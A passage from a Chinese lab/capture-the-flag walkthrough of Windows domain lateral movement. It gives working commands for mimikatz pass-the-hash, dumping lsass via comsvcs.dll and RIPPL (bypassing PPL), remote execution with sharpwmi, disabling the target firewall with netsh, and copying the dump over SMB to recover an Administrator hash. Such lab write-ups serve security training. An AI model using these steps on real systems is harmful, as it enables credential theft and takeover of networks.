style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">该工具支持 pth，需要和 mimikatz 结合使用，首先本机进行 pth：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">privilege::debug<br style="line-height: 1.6 !important;"/>sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">成功执行：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6129629629629629" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=212c0623&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kkv13BPFEWIfmfU9YgLLbYFhcTPiabXc9XqAmjULbTPQEU99lCNMvsprQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">抓取内存</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看 lsass 的 pid</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3055555555555556" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=de872365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkedarQ2I9EdnAuOCuthlH2MJ0fzkx97fh18svfHd1CkDhrG3NRAHo9A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用 Minudump 函数抓取内存：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 580 C:\windows\temp\lsass.dmp full</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">其中&#34;,&#34;符号影响了命令执行：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.24166666666666667" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc9de27f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kkh524RjaH4wBrEav2UsVHMrnYDnq098pZhE9KCp0m1Hku0t6JzFiaicDA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">sharpwmi.exe pth 10.0.2.105 upload 1.bat c:\windows\temp\1.bat</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">不报错但也没有文件生成：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.1685185185185185" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=910e4feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk6rRI46tyrXNxm4zwmRF8YO6dg8CRib3dsOCp8W7pWGN5OwIxGBiaAvhw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">换一种 dump 方式，上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.17407407407407408" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f9fd9664&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkCyklJO99rmOV0c0y8VA2krvE7ad6tVaMStSJa2ESnb2vNj57ibib5lLg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">传进去的是上一次上传的结果。可以对工具进行修改，这里笔者怕麻烦，使用远程下载的方式下载到机器上：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.1648148148148148" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=67242098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkQRw7uxEwTRfj8719j0x20O6pSv1XWU5CtOzwnew8kDLqy8ib2yzprSA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行依旧存在问题，看起来无法开启 lsass 进程，这种情况有几种可能，一是当前用户可能没有 SeDebugPrivilege 权限，另外一种可能是被杀软拦截了，其次就是可能开启了 PPL 保护机制。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">首先确认存在 SeDebugPrivilege 权限：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.2796296296296296" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=67e43dd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkQoehicA4awQQoIFDWPnu1xc7MKFfSmSuowHvJRsMIvt8k01HlH9Ju4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">其次检查进程及驱动，未发现防护软件。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3907407407407407" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=537f5c50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkllFjTLibOp6w5K2dib6Qjs8be2DvzcqrkgciayuITpCW3bVFAv0FibDVAQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查询注册表,果然开启了 PPL：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.18703703703703703" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=734a01d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkoRRJUBRuvnxU4Dp2yEdgtCRN0qibsDmoYs77AT7ERIncgHudJVfic3AQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">绕过 ppl</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里直接尝试之前的文章《<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499459&amp;idx=1&amp;sn=c189797bfb783ea33012548aa6dcf2eb&amp;chksm=c0e89a91f79f1387792fb87841bcd9f9f34027e4628218a14e25279cfc7689cc5c8aa3d88785&amp;scene=21#wechat_redirect" textvalue="域渗透-一文了解lsass内存转储攻防技术" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-一文了解lsass内存转储攻防技术</a>》中的用户态技术，使用<a href="https://github.com/last-byte/RIPPL工具：" target="_blank">https://github.com/last-byte/RIPPL工具：</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">sharpwmi.exe pth 10.0.2.105 cmd <span style="color: #a6e22e;line-height: 1.6 !important;">&#34;c:\windows\temp\RIPPL.exe -D -f lsass.exe c:\windows\temp\lsass.dmp&#34;</span></code></pre></section><p><br/></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">成功导出：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16018518518518518" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b09f474b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KksyPMsnhXialibiaysU7VJv4bwzou9S3P8m1W038LArOKREMT7UJeWUEOg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">怎么拿 lsass 到本地是个问题，这里直接关闭该机器的防火墙，通过 smb 获取：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">sharpwmi.exe pth 10.0.2.105 cmd <span style="color: #a6e22e;line-height: 1.6 !important;">&#34;netsh advfirewall set domainprofile state off&#34;</span><br style="line-height: 1.6 !important;"/>copy /z \\10.0.2.105\c$\windows\temp\lsass.dmp<br style="line-height: 1.6 !important;"/></code></pre></section><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.28151658767772514" title="null" data-type="png" data-w="1055" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=32bcf726&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkM67OmIMlN0cGPaTcibEuwTM7XuXsn3x6DRrwPhwTic1oQ3sUwcUfyMTw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过 mimikatz 解析 dump 文件：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.49166666666666664" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=262fb894&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkfEzfpCNDCXl3TMXehf2NX8PmdIuWy3CJiaSgfQjj1ib3wltiaGq1PCNGQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">获得 hash：<br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">Administrator b9f21293575140357afceead26c3397</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">pth 后读取 flag：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.38486312399355876" title="null" data-type="png" data-w="621" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c250079c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkdTJGgqzDthqjNd8szfBFHF27JRW3OQSm8PsMTxucN5zZVj2SGZJENw%2F640%3Fwx_fmt%3Dpng"/></figure></section></section><section data-v-b4e935ba=""><section data-v-b4e935ba=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;margin-top: 0;">总结</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本环境主要模拟了在实战环境的渗透测试流程，通过web打点进入主机，检测为Docker环境，之后逃逸发现在Linux中其中存在域环境，之后进行横向移动及一系列攻击手法，最后拿到flag。</p><p><br/></p><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;margin-top: 0;">参考</h2></section><p><span style="font-size: 14px;"><a href="https://xz.aliyun.com/t/6888" target="_blank">https://xz.aliyun.com/t/6888</a><br/><a href="https://github.com/Mr-Un1k0d3r/SCShell" target="_blank">https://github.com/Mr-Un1k0d3r/SCShell</a><br/><a href="https://github.com/QAX-A-Team/sharpwmi" target="_blank">https://github.com/QAX-A-Team/sharpwmi</a><br/><a href="https://tttang.com/archive/1624/" target="_blank">https://tttang.com/archive/1624/</a></span></p><p><span style="font-size: 14px;"><a href="https://www.alibabacloud.com/help/zh/nas/latest/mount-and-use-an-smb-file-system-on-a-linux-client-as-an-ad-domain-user" target="_blank">https://www.alibabacloud.com/help/zh/nas/latest/mount-and-use-an-smb-file-system-on-a-linux-client-as-an-ad-domain-user</a><br/><a href="https://techglimpse.com/centos-yum-package-python-pip-error/" target="_blank">https://techglimpse.com/centos-yum-package-python-pip-error/</a><br/><a href="https://stackoverflow.com/questions/72270592/syntaxerror-when-pip-install-pip-def-readrel-path-str" target="_blank">https://stackoverflow.com/questions/72270592/syntaxerror-when-pip-install-pip-def-readrel-path-str</a><br/><a 